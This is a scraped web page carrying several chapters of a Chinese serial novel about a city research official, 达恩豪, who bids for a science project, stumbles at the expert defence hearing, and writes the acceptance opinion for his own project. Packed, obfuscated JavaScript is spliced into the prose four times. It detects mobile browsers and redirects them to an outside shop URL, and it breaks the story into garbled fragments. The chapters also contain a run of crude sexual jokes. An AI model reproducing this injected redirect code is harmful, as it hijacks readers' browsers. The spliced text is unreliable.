“金主任，我建议把我们搞的这个课题，申报个市科技发展计划项目，你看怎么样？”第二天，达恩豪打印了一份《滨河发展循环经济研究》课题材料，拿着去敲开了金学盛的办公室门，把这份报告呈交到金学盛的办公桌上。当金学盛伏案仔细翻阅这份课题报告。自己坐在沙发上，等领导一看完了，达恩豪就马上这样对面前坐着的人，微笑着这样主动请示道。 “达处长，你这个课题报告写得很好，我同意你的提议，以我们单位的名义，你申报今年市科技局科技发展计划项目！名利双收，何乐而不为呢？！”金学盛边合上这个有点份量的课题报告材料，边抬头看着达恩豪，抬一只左手臂，习惯性把近视眼镜往上一推，身体向后一仰一靠椅背，两手抓在椅子两边的扶手上，满意地对达恩豪这样回答道。 “谢谢金主任看得起我搞的课题材料，但就是能不能申成功这就不好说了？”达恩豪虽然是想把自己搞的课题申报成市科技发展计划项目，又有钱花，外出调研，市内下乡，又有成果，一举两得。如果，保证申报不成功，自己就有不可推缷之责任。如果刚刚领导不同意，就什么事也没有了。这不是老话说的：“把好手往磨眼里塞吗”。想到这里就有点为刚刚的心血来潮后悔了，脱口说出这样一句推卸责任的话。俗话说得好，“光棍还怕交待呢”！ “我看能行，能申报成功的。市科技局的局长、副局长我都熟悉，我给你协调一下。”金学盛看达恩豪又是怀疑又是顾虑的，开始有些打退堂鼓了，怎么能反复无常，说变就变呢，感觉是推卸责任的成分较多，就赶紧出来给下属帮忙鼓劲，一本正经地对面前的人这样说道。 “现在是改革的年代，啥都在改革，啥都要改革。金主任，我前几天看到市科技局的公告了，科技发展计划项目申报今年起也要改革了……”达恩豪话峰这么一转，先是发一番感慨，然后话峰再这么一转，切入正题给金学盛汇报相关的情况，向领导这样仔细地开始解释道。 “怎么改革了？达处长你说。”没等达恩豪把话说完，金学盛抢先开口，其实金学盛心里什么都比下属清楚的多，所以明知故问，是不想让达恩豪啰嗦，怕浪费自己宝贵的时间，就对面前的下属这样反问道。 “市科技发展计划项目实行公开召标，面向全省，投标项目单位要进行答辩。”达恩豪正要接着说这个意思呢，就让面前的上司直接给拦腰斩断了，大概是嫌弃自己的啰嗦与迂腐，就赶紧接上话茬，简明扼要地向金学盛这样回答道。 “这样也好，前面我说的不变，你的《滨河发展循环经济研究》项目，代表我们单位参加今年的课题投标答辩。”金学盛一听，不就是投标答辩的事吗，心里明白是换汤不换药，就一点犹豫都没有，继续明确地坚持他前面的决定，这样非常肯定地对达恩豪说道。 “金主任，还是您牵头投标答辩，我们其他人全力配合，答辩材料我写。”达恩豪向领导发出热情诚挚的邀请，并承当课题的工作他们成员全干，甚至投标答辩的材料他包写，金学盛一点活都不干，只要出面前头答辩就行了，就笑着这样提议道。 “达处长，我授权你全权代表我们单位，投标答辩你那个循环经济课题，课题报告你都弄好了，没问题的，我再找机会给科技局领导们说一下，我就不出面答辩了。”金学盛首先代表单位给达恩豪授权，全权处理这个课题申报投标答辩等事宜，然后继续给下属又是打气鼓劲又是帮忙协调的，出发点和落脚点，以及最终目的，就是自己不出面，让达恩豪在前面折腾去，成功失败都进退有据。领导就是领导，看得深谋得远。就这样说道，把达恩豪彻底绑死在这项工作任务上了。 “那好吧。我力争申报成功！”达恩豪只能缴械投降，就爽快地接受项目投标答辩的任务，服从领导安排布置，一本正经地向金学盛这样保证道。 “就这样定了。”经过一场拉钜战，一番商量讨论，事情按照上司的初衷发展的，结果是领导说了算，领导就最终拍板定案了，金学盛对达恩豪公事公办地这样说道。 达恩豪回到经济发展研究处房间，老处长马上退休了，已不来上班了，老同志杨尚义忙着在老家办猪厂，也经常不来上班，处里办公室就只有他一人按时上班。他坐回到自己办公室桌椅间，开始在电脑上干工作了。 他从滨河市政府网站上进去，打开滨河市科技局的网站，查找今年的科技发展计划项目申报的相关文件，了解掌握项目招投标规定，项目评审专家答辩等要求，还有各阶段各环节的时间安排，为申报科技计划项目作好充分的准备。 正好市科技局具体负责项目招投标的计划处处长，电过去电视，详细咨询了今年项目申报投标答辩，最后评标定项目的相关事宜。 “滴滴滴！”突然，手机接受到信息的提示音这样响了几下，右大腿外侧的裤兜里，也伴随着震动了几下 达恩豪点亮手机屏幕，解锁，有人发来一条微信消息。他点开微信一看，发微信的人，不是别人，正是经济发展研究处办公室隔壁，单位城市发展研究处副处长，大腮帮子眼镜儿巴其平。 他再打开这微信内容，一看，果然又是语言段子，往下一拉，好家伙，一共有20多条，大体内容如下： “1.某县某……长，肚里没几点墨汁。单位里新分配来的一位大学生，崇拜鲁迅，便在自己的案头玻璃下夹了一张鲁迅的照片。某……长发现后，语重心长的对他说：“年轻人呀，要多学点马……、毛……的著作；要摆也应该摆他们的照片，怎么能把你爷爷摆在这呢？” 2.乡下，一小男孩满身大汗拉着一头牛。路过的游客好奇地问：“你要把牛拉到哪去？” “到邻村和母牛配种。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447532|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这样的事不能让你父亲做吗？” 男孩连连摇头：“不行，一定得公牛才行！” 3.村里通知：集中母猪“人工授精”。大娘把母猪牵到兽医站的院子里，兽医同.志指着天井告诉大娘，“拴在那里，等会来牵回去就好。” 大娘看到天井很脏，犹豫了一会，问道：“这里就好呀？要不，我去给你们抱把稻草来。” “不用不用，一下子就好了。” 过了一会，大娘去领回母猪，同.志对她说：“好啦！这次保证一胎十二只。” 大娘一脸疑惑，说：“十二只是好，但生出来都像同.志你，这猪可怎么卖啊？” 4.医.生与院.长不和，医.生被院.长调至妇科，窃喜。次日接看女患.者数十名，连摸带看，持续□□八小时。晚上老婆缠着……，阳萎不举。才恍然大悟：……娘！又被领.导暗算了！ 5.一医.科.大.学.生到乡村医院实习，不懂说农村的话。一次接诊一位大嫂，叮嘱她不能与丈夫“……”，大嫂听不明白，解释了半天，她还是强调：“我丈夫姓郑！” 6.漂亮国选情畅想：如果……拉里当选漂亮国总统，最爽的当……林顿----他干了8年漂亮国总统，又至少能干漂亮国总统4年！ 7.有个钜.长喜欢打牌。我们那里有个青年民.金准备结婚，打个报告送给钜.长。正在打牌的钜.长大笔一挥，签下四只字：同意逮捕！ 8.汕头话把洗脸叫洗面。市里最近从北方调来一女……长，下乡到农家访问，男主人热情端来洗脸水，说：“请什.长洗下面。”女……长楞了。随员只好解释说：“是当地风俗，搬进房里洗吧！” 9.姐姐出差，晚上姐夫和小姨子在客厅聊天，姐夫问：“你税后多少钱?”小姨子脸一红，小声说：“和姐夫睡还提钱！不都是自家人，肥水还不流外人田呢！” 10.C君去海南旅游回来，我问去没去万.泉.河畔，他说去了，还看到很多娘.子.军。然后在我耳边补充说：都是h色的！……” “哼哼哼！”达恩豪一口气看完了，双手捂着嘴巴，像贼把自家的被子给偷了一样，嘿嘿嘿显得特别地失笑，笑得肚子有些痛得不成了，也笑得眼泪花花在眼眶里打转转就是流不出来。 “哈哈哈！”达恩豪在这条微信下面，在输入框里打了三个字，一个感叹号，又发过去三个笑脸的标情图，再加上三个握手标情图，三个沏好茶水飘香气的茶杯标情图，一并发送给巴其平副处长，以感谢他送来的欢乐！ 达恩豪收拾一下放纵的心情，恢复平静的心态，开始重新进入工作状态。俗话说：“打柴的陪不住放羊的”，继续搞工作，干活儿，把材料赶紧写，该干什么的，就干什么，天生是写材料下苦的命，就把材料写，老话儿说得好：“卖油饼子的炸你的油饼子，卖豆腐的做你的豆腐”。 59. 第 59 章 第五十九章越界被逮 人前，达恩豪是堂堂市政府的干部，专门给市委市政府决策服务的，给市领导提意见建议，当参谋助手，是市上的思想库，智囊团，参谋部，有全市，很风光，很有派头，很有面子，很有社会地位。他虚荣心很强的。 达恩豪顶替单位领导，参加领导不想参加的各种会议，装作很忙，很重要，混迹于官场之中，厮混于正县级，副县级的领导之间，甚至于还能接触到个别的地级领导干部，乃至上层的大领导。他的虚荣心得到了不小的满足。 但是，达恩豪却心里那么的苦闷，前面说的那些全都是表面现象，顶多就是个假像。问题的实质是，表面看是领导身边的红人，感觉很爽，其实无职无实权，不管人，不管钱，不管物，又不管项目，什么事都不管，就管下苦写材料，搞调研干活儿，说实话，达恩豪心里有时很虐的，有时很狠狠地打脸自己。 …… 根据市科技局计划处的通知，达恩豪加班加点，填写2008年滨河市科技发展计划项目投标书，填写好了，金学盛签字了，单位公章也盖了，一式8份，按时间要求提前几天就报上去，完了就等着项目答辩了。 过几天，接市科技局的通知，滨河市科技发展计划项目招标答辩会，在市科技大会议室里如期召开了。 达恩豪对这次《滨河发展循环经济研究》项目投标答辩非常重视，做了大量艰苦细致地工作，准备的特别扎实，可以说是非常充分的。干什么都要有个度，不少也不多，才能成事。问题就出在准备太充分，过尤而不及，不然，为什么会有“矫正过枉”一词，就是这么说的。 当达恩豪坐在项目招标答辩会场上时，心情特别的平和，冷静，没有一丝怯场的感觉，并且是意气奋发的，把它当作平常写一份拿手的小材料一样，小菜一碟。他是抱定了志在必得，非我莫负的信心与决心，拿下这个课题一定没有任何问题，答辩只不过走个过场而矣！ “答辩开始，现在请项目申请人陈述，简要说明你们项目组关于《滨河发展循环经济》项目研究的创新点是什么？”主席台上共坐着五位项目招标评标专家，中间一位可能是评标答辩专家组组长，主持答辩会，并第一个带头向台下坐着的达恩豪提问题。 这位评标答辩专家组组长，戴着深度近视眼镜，皮肤白净，个儿中等，体形偏瘦，穿一身藏蓝衣服，标准的高级知识分子装束。他这问题提得挺专业的，特别刁难的，问题尖锐，确实是个学究型的专家。可惜达恩豪不认识，今天是第一次正面交谈，有种不亲不疏的感觉。 “一是把滨河发展循环经济思路，与国家的战略部署和省上的政策措施紧密结合……二是把滨河发展循环经济的对策与滨河当前的实际相结合……三是滨河发展循环经济突出制度创新科技创新措施创新……”达恩豪一听，早有准备，考虑到专家会问这样的的问题，有备无患，就这样回答道。 台上五位专家，你看看我，我看看你，他看看我，我看看看他，相互观看着，并不说什么结论性语言，然后继续低头伏案作笔记，写写划划的。达恩豪也无所谓了，中标不中标自己说了又不算，专家们都什么意思，他也估计不来，猜不透。正所谓：“初生牛犊不怕虎”，第一次参加这样的专业性技术性较强的项目申报答辩会活动。 “请问项目负责人，《滨河发展循环经济》项目研究运用的效益分析预测如何？”台上评标答辩专家组组长右手一个专家，穿一身黑色的西服，藏蓝色的西裤，足登黑皮鞋，这时听完了达恩豪第一个问题的陈述答辩，放下手听笔，举右手往上推一下眼镜腿，眼睛盯着达恩豪提出了第二个问题，这样对台下坐着的项目投标人这样说道。 “发展循环经济，可以取得良好的经济、社会和生态三大效益。一是可以节约各种资源，我们是人均资源贫乏的国家和城市……二是可以取得良好的社会效益，变废为宝，化害为利……三是可以保护环境改善生态，减少污染，节能增效……”达恩豪对这个问题事先也有所考虑，有所准备，就这样胸有成竹地回答道。 台上五位专家，你看看我，我看看你，他看看我，我看看看他，相互观看着，并不说什么结论性语言，然后继续低头伏案作笔记，写写划划的。这五位项目评标答辩专家中，达恩豪只认识一位专家，其他专家都是省上单位部门的高级知识分子。他认识的这一位专家，是唯一一位市上单位部门的。 “项目负责人，请你简要陈述一下，你们项目组关于《滨河发展循环经济》课题，下一步研究的技术路线和组织路线是什么？”台上评标答辩专家组组长左手一个专家，中等个头，微胖结实，穿和件深灰色拉链衫，下身穿浅灰色裤子，足登深棕色皮鞋，这时正一下身子，望着台下的达恩豪提出了这样一个问题。 “……除了项目组的成员，我们将发挥市政府研究室，作为全市专家咨询委员会办公室常驻机构的职能优势，聘请有关省市权威专家，加强研究力量……进一步深化审视市情认识，加强调查研究，深入基层一线，从滨河的实际情况出发，赴省市外的先进地区和兄弟城市，参观学习考察，充分借鉴好经验好作法好措施……”达恩豪早就对这个问题是有所准备的，就胸有成竹地这样回答道。 “项目负责人，我提一个问题，什么是煤矿回采率？请问我们滨河市的煤矿回采率是多少？”达恩豪一看，提这个问题的正是五位评标答辩专家中，坐在台上最左端顶头，应该是专家组中排名末位的评标答辩专家，也是他唯一面熟能认识的专家，唯一能叫上名字的滨河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456725|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市的专家，他姓常，是现任滨河市发改委的主任，听单位的臭嘴鲁希雷曾经给他讲过，这个常专家最早在我们市政府研究当过主任，兼任滨河市体改办主任，后到滨河市发改委当主任。 “……这个问题我现在说不上，我们下去项目正要研究一下这个问题的……”达恩豪一听，市上的常专家提这个问题以前没有涉及过，脑子里一片空白，一时语塞，吱吱唔唔的，被问住了，回答不上来，就这样实话实说了。子曰：“知这为知之，不知为不知，是为知也。”达恩豪结结巴巴说完了，已是脸红耳烧，恨不能有个地缝钻进去。 台上五位专家，你看看我，我看看你，他看看我，我看看看他，相互观看着，并不说什么结论性语言，然后继续低头伏案作笔记，写写划划的。 “项目负责人，不知道我说得对不对，我看见你准备的项目材料很扎实，我猜测课题报告你早都写出来了吧？”台上评标答辩专家组组长右手顶头一个专家，虽然也都上五十几岁的人了，可收拾得很精干，大背头又黑又浓，还带点大波浪的卷发，浅棕色尖头皮鞋，擦得铮光发亮，上面边苍蝇都站不住。可能是为了缓解一个目前非常尴尬的局面，这时向达恩豪提出了个题外这话，眼睛很尖很毒，观察得很仔细，这时盯着达恩豪这样提问道。 “啊……就是我们行动得早一些，准备工作做的比较扎实些，搞了人资料稿，初步的框架，提纲性质的……嗯，正在开始搞这项课题研究呢，要调查研究的内容还很多。”达恩豪手下压着60多页的已搞出来的课题材料，看起来是厚厚的有些份量，其实是单面打印的，双面打印达恩豪还不太会弄，而且打印纸也用的是质量比较好的，克数高厚实的专门的高级复印纸。这时，还没有完全从被本市的常专家问住的尴尬中解脱出来，又被这位专家给弄得懵头转向，吞吞吐吐，结结巴巴，前言不搭后语，下意识地掩饰着什么，这样摭摭掩掩地回答道。 “项目负责人，你们都把项目搞完了，课题材料都做出来了，还申报什么项目呢？！”这位省上的专家继续穷追猛打，这样对台下的达恩豪说道。 “……”这时，达恩豪瞠目结舌，无言以对。 台上五位专家，你看看我，我看看你，他看看我，我看看看他，相互观看着，并不说什么结论性语言，然后继续低头伏案作笔记，写写划划的。达恩豪感觉时间过得很慢，心里很难受，有一种耻辱感漫延全身。 “各位专家，还有什么提问的没有？”台上中间坐的专家组组长，这时转头向左，再向右张望，询问各位专家再有没有什么问题提问台下的项目负责人。 “没有了！”“……”台上其他四位专家你看我，我看你，不是说没有了，就是摇几下头，闭口不语，也是默认没有什么问题再提了。 60. 第 60 章 第六十章验收意见 “项目负责人，答辩结束，再见！”台上中间坐的专家组组长，一本正经主持着会议，公事公办，这时向达恩豪发出了答辩完闭，需要台下人退场的信号—逐客令。 “各位专家辛苦了，谢谢！再见！”达恩豪虽然知道这次答辩产凶多吉少，但还是很有礼貌地和专家们道别，这也是达恩豪一贯待人接物，做人的起码的修养，说明达恩人很善良温和。说真的专家们也不容易，答辩不但台下的人累，台上的人也同样累！ 达恩豪被两个难缠的专家，晕晕糊糊走出了答辩会场。这场答辩，达恩豪的感觉是，自己像被抓来审判的犯罪嫌疑人，或者行凶了的歹徒一样，在接爱法官大人的讯问，接受法院的审判似的，而且，很大的可能是，问题是彻底输了这场官司。 达恩豪没有看见其他项目组负责去答辩，也许他是这个项目最后的一个评标答辩的也说不定。也可能是这个项目应评的其他项目组负责人，就在周围，就是擦肩而过他也不认识。更何况评标答辩有纪律要求，不允许各项目组互相打探交流。 “唉！看来这次项目申报没门了，都怪可恶的本市的常专家！”达恩豪走着回单位，又是自言自语地哀叹，又是咒骂本市的常主任，太可恶了，竟然，胳膊肘朝外拐，灭自己我的威风，长他人志气，不给本市的单位帮忙也就罢了，还要故意为难达恩豪，提出个刁钻古怪的问题，把达恩豪整得有口难辩，不仅丢人显眼不说，正所谓：“兵败如山倒”，其他四位省上单位的专家，肯定是向着省上的项目申报单位，形成了这种“一边倒”的局面，最后还要项目答辩失败，项目申报不成功！前面的辛苦和努力都白搭了。 这，达恩豪也发愁，怎么给单位领导金学盛主任交差呢！ ¨¨¨ 达恩豪下午下班，回家和老婆黄爱佳一齐吃了晚饭，一齐坐沙发上看完了电视剧，关了电视，灭灯上床休息，白天应付答辩，耗神费劲的，非常疲惫，不大一会就睡着了¨¨¨ 这小伙儿心急火燎，没有等到下午六点整，就偷偷摸摸下楼了，来到一楼大厅，开锁推车走人。走楼道，出楼南侧门，下了台阶，骑了自行车，出单位大院门，向南直奔县城中心而去。 七拐八弯，不到半小时功夫，就骑自行车到了兰原这个小县城的中心，最繁华的一条大街道，唯一条大街上，看见大街东边挂在兰原县食品公司的厂牌的大院，乘无车的空隙，横穿马路而过，进了这家大院黑铁栅栏的大门。 达恩豪轻车熟路，把车停到四合大院里西北角，两幢直角相连的两流水平房拐角处，也正好是这美女父亲县城家的门口。 这小伙儿驾轻就熟，支车承，锁了车，装好车钥匙，就敲门进了拐角头上第一间房门。 半个小时不到，这小伙儿在美女家蹭了晚饭，就和这美女一齐出了这房间门，俩个人就到北面一排，这美女家隔壁的隔壁，一间挂有“副经理室”的房间去幽会。 这个房间门被打开，灯拉亮了，进去了一女一男，两个都是青年人，房门被反手就从里面锁上了，关闭严实了。只有大窗户和门头顶的小窗还能看见亮光。 这小伙儿在这美女的父亲办公室里，胆子也太有点大了，和这美女谈恋爱，不但轻车熟路，驾轻就熟，而且是搬住鼻子上脸了，色胆太大了，真所谓：色胆包天了。 垫上了门，就马上往这美女身边凑，往这美女身上贴了过去，就像磁铁遇上了铁一样。 拉着这美女的一双小酥手，两眼发直，好像要冒出电光火花一样，眼睛似长了勾勾一般，要把这美女拉进眼睛里去！ 一股甜蜜，从这美女的两只小酥手，经过这小伙儿的手臂，交融到了这小伙儿的心田，这时这小伙儿的心里，无比甜蜜，比吃了蜜糖还要香甜万分！ 与此同时，一股甜蜜，从这小伙儿的两只粗大有力的手，经过这美女丰满修长的香臂，交融到了这美女的心田，这时这美女的心里，无比甜蜜，比吃了蜜糖还要香甜百倍！ 这小伙儿深情地把这美女拥抱入怀中，这俩个年轻的异性，双手轻轻抚摸着对方的后背，十个指腹轻轻磨擦在身上，尽情地体验这美妙神圣的感觉！ 一股幸福，从这美女的两只小酥手的十个指腹，从这小伙儿的手臂十个批腹，一齐交融到了这小伙儿的心田，这时这小伙儿的心里，无比幸福，幸福得比吃了蜜糖还要幸福万分！ 与此同时，一股幸福，从这小伙儿的两只粗大有力双手的十个指腹，从这美女丰满修长的香臂玉手十个指腹，交融到了这美女的心田，这时这美女的心里，无比幸福，幸福得比吃了蜜糖还要幸福百倍！ 这小伙儿与这美女相拥相抱，又是爱抚磨擦，又是耳鬓厮磨，这小伙儿一时性起，转头寻找，和这美女大口小嘴又对接到了一齐！ 这时，这小伙儿更加地不老实了，乘这美女陶醉在甜蜜幸福之中，一只手抱着这美女的身躯，一只手不安分地往下抚摸，从这美女的后背腰部再往下抚摸¨¨¨ 这美女猛然一惊醒，眼睛突然这么一睁，赶紧一只手过背过去，“啪！”一下，把这小伙儿不安分的那只手就逮个正着，拉了自己的腰上面来¨¨¨ “哐哐哐！”¨¨¨ ¨¨¨ 第二天下午，滨河市科技局组织，在滨河市政府研究室六楼会议室，开展达恩豪们搞的《滨河平安社区建设的调查研究》课题验收工作，刚开会时，滨河市科技局领导前半场主持，现场成立了随机从市科技局专家库抽出五位专家参会组成，并当场推选出本课题验收专家组组长，后半场就交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464021|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课题验收专家组了，滨河市科技领导和其他课题组成员等参会人员退场。 “今天下午和市科技商量好，组织办公室和课题组成员，参加验收我们搞的《滨河平安社区建设的调查研究》那个课题会议。市科技局有规定：头一年的老课题不结课，第二年的新课题不能申报啊！委托市科技局邀请专家组织验收，这样我们也省心点。”在开会这前的上午，金学盛主任把达恩豪喊到他的办公室里，心里想，有些事不得不这样做，按规矩办事，就有些无可奈何地对达恩豪这样说道。 “我安排办公室准备好会议室，买些香蕉、桔子等水果洗净摆上，提茶倒水，预定专家组吃饭地点，点好菜，搞好接待服务工作。还有，达处长，你到单位财务上打条子领钱，把评审费给各位专家发一下。”看达恩豪没开口说什么，只是轻轻地点了几下头，金学盛就又接着这样说道，向达恩豪安排了这个活儿。这本来是单位财务和办公室干的活儿，也叫达恩豪给代劳了。 “金主任，好的。”达恩豪爽快地答应了领导的安排，回经济发展研究处房间，写好借款1500元的条子，再找金学盛主任签字批准了，又到办公室找出纳交条子，把钱领上了，然后回处里的办公室，电脑上制了一张表，姓名，单位，金额，签名，备注。在下午的后半场会议开始后，达恩豪给每位专家发放了300元的评审费，然后让专家在后面的签名栏里，签上自己的大名。 “达处长，你把《滨河平安社区建设的调查研究》课题验收意见弄一下，课题验收专家组等着要用呢！”《滨河平安社区建设的调查研究》课题验收专家组，下午的会议开到后面，快要结束时，金学盛打电话给达恩豪安排了临时紧急任务。 “好的，金主任。”达恩豪虽然表面痛快地答应金学盛的安排，但心里在想：这个活儿应该由专家组自己写的，怎么能让我们被评审的课题组的人写呢？但反过来一想，达恩豪又觉得这样也是一件好事，一个吐槽的好机会，我可以按我们课题组的想法去写，尽量往好里写一下，你专家再怎么修改，底稿子还把你能框一下呢。 达恩豪赶紧爬到电脑上干活儿，真是个材料机器，材料快枪手，不到半小时，一篇600多字的课题验收意见，就马上给整出来了。他记得，大体内容如下： “课题验收意见 2008年¨¨¨月¨¨¨日，由滨河市科技局组织，在滨河市政府研究室召开了《滨河平安社区建设的调查研究》课题验收会。验收专家组听取了课题承担单位的报告，审查了提交的有关材料，经认真讨论，形成如下验收意见： 一、课题选题准、立意新，研究方法科学严谨，数据图表准确翔实，论点明确，论据充分，研究有深度，具有前瞻性和创造性，是一项质量较高的对策性研究课题。 61. 第 61 章 第六十一章开心段子 二、课题科学把握滨河市情，在分析滨河市社区建设基本情况的基础上，客观总结了滨河市近年来平安社区建设工作中的主要做法和取得的成绩，指出了平安社区建设中存在的主要问题和困难。分析透彻，方法科学，定位准确。 三、课题针对滨河平安社区建设中存在的主要问题和困难，从实际出发，指出了滨河平安社区建设的指导思想、基本原则、建设进度、创建目标和创建标准，在此基础上，提出了进一步加强滨河平安社区建设的对策建议。所提指导思想鲜明，对策建议可行。 四、课题属对策性研究项目，针对性和操作性都比较强，符合滨河实际和发展要求，为市委、市政府科学决策提供了有价值的参考依据，部分研究成果已被市委、市政府采纳。 五、课题组成员深入全市六个县区的13个社区，通过深入细致的调查研究，采用普遍调查与抽样调查相结合、问卷调查与入户走访相结合的调查方法进行调研，做到了调查求深，研究求精，建议求新。 六、课题经费管理规范、使用合理，符合有关规定。 七、建议课题组根据专家组所提意见，对课题报告进行进一步修改，使之更加完善。” “金主任，请您批一下课题专家评审费？”课题验收完了，达恩豪找金学盛签字，报销发放这个课题验收专家评审费花名册，金学盛二话没说，拿过达恩豪递上来的表格，在右上角上，“唰唰唰”就一个“报。”下面一行把自己的大名和今天的年月日都签上了。 “达处长，这个你拿去看着办，我就不留了。”金学盛把这个课题验收专家组的评审验收意见，一张纸上打印的，扔到了桌上，不屑一顾地这样对达恩豪说道。 “那好吧，我让单位办公室¨¨¨现在应该叫秘书处存档。”达恩豪赶紧接过上前先拿起金学盛签字的报销单，不用看。然后再捡起领导给他的这课题专家验收意见，拿到眼前一看，他给打的底稿基本上全用了。然后，抬头看着金学盛，微笑着用请示的口气，这样问金学盛道。 金学盛点头同意了。这时，达恩豪拿着领导签字报销单，夹着笔记本，手握一只笔，就转身出了主任办公室，回经济发展研究处房间去了。 达恩豪走进自己处的办公室，把笔记本和一只笔放回自己的办公桌上，转身就拿着领导签字报销单和这课题专家评审意见，来到楼梯口旁边第一间办公室，单位秘书处（以前也叫办公室）的套间办公室。 把领导签字的报销单交经了单位出纳员，然后把这课题专家验收意见交给办公室主任佟若贤，达恩豪说：“金主任说这个存档。” 疤瘌红脸佟若贤一看马上就退给他，不要，并面无表情地这样对他说道：“我们从来没有存档过这种东西。” 达恩豪没有办法，领导说得又不是我说存档的，单位不存档，就丢下这样一句话：“那我自己存档好了。”就拿着这份课题专家验收意见，热脸贴到冷屁股上了，只好灰溜溜地回经济发展研究处房间去了。 第二天在单位上班，达恩豪没事找事，感觉他搞的滨河市发展循环经济研究的课题这么扎实，为什么不在正规刊物上发表一下。又一想，太长了，那就搞个浓缩版，3000字左右的稿子。再一想，找那家杂志投稿发表呢？他以前看到过一个市级杂志办得挺不错的，学术性研究性都还很强的，他仔细研究过，就选这家不刊物。 达恩豪心意已定，说干就干，早到晚走，中午不休息，加班加点的，花了整整两三天时间，写出来了一份简缩版的稿子，共7页，约3000多字，论文标题为《滨河发展循环经济初探》，从这刊物上一查，找到这家杂志办刊单位是滨河市委党校，刊名为《大河论丛》，加了这杂志编辑部邮箱号码，还有编辑微信号，把文稿电子版发送了过去。 第二个月月底，达恩豪就收到了这家杂志社寄来的两本样刊，这篇文稿刊发了，他记得，具体内容大致如下： “滨河发展循环经济初探 达恩豪 （滨河市政府研究室邮编¨¨¨） 摘要：滨河发展循环经济的重点是着力构建煤油气—合成材料—精细化工、煤电—冶金—新材料、材料—零部件—装备制造和农产品—初加工—医药食品四大产业链，大力开展工业节能降耗技术改造，开发清洁、再生性新能源产业，发展生态农业技术和生态旅游业。关键是一方面大力开发资源回收和再利用产业，逐步建立废物分类回收循环利用体系，推广屋顶水的再利用技术，开发钢渣、粉煤灰的回收加工利用产业，推广工业余热、余压和中水的循环利用；另一方面积极发展生态环保产业，加强生态林业工程建设，推广城市楼顶绿化，加强黄河滨河段水污染综合治理，实行农副产品清洁进城。保障措施是加强环境保护和宣传规划指导，示范微观循环经济试点，推广中观循环经济系统，建立宏观循环经济体系，实行科学考核管理，促进循环经济立法，完善制度建设，健全政策激励机制。 关键词：节能降耗生态环保 1，发展循环经济的战略重点 着力构建煤油气—合成材料—精细化工、煤电—冶金—新材料、材料—零部件—装备制造和农产品—初加工—医药食品四大产业链。 1．1，大力开展工业节能降耗技术改造，促进传统产业优化升级。石化、冶金、建材工业是我市的区域支柱产业，也是高耗能和资源型行业，促进环保和发展循环经济潜力巨大。要实施节能降耗技术改造，更新装备净化、回收、处理、检测生产中产生的粉尘、烟气、污水、废物等环保设备。 1．2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468165|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大力开发清洁、可再生新能源产业。在水电方面，重点开发建设¨¨¨峡、¨¨¨峡、¨¨¨峡等黄河峡谷梯级发电厂，以及¨¨¨河（¨¨¨沟）、¨¨¨河水电梯级开发利用。加快建设滨河垃圾发电厂。在风力资源丰富的山区开发建设中小型风力发电厂。大力推广普及家用太阳能热水、采暖设备。 1．3，大力发展生态农业技术。抓住建设新近农村的有利时机，积极推广高效节能日光温室种植、养殖（猪、鸡）、沼气、厕所“四位一体”生态农业模式，高架节能日光温室种植，暖棚养殖，塑料大棚和地膜覆盖种植，喷灌、滴灌、微灌、集雨节灌，青贮氨化微贮饲料，农作物秸秆汽化、家用沼气、太阳灶、节能灶等生态农业技术，“种植（饲料）—养殖（肥料）—种植”产业循环圈，“种植（养殖）—精深加工—贮运销售”产业链，“种植（饲料）—养殖（养猪）—再养殖（猪粪养鸡）—水产养殖（鸡粪养鱼）—种植（鱼塘沤肥用于种植）”等循环农业经济模式。并抓好生态小康村建设工程。 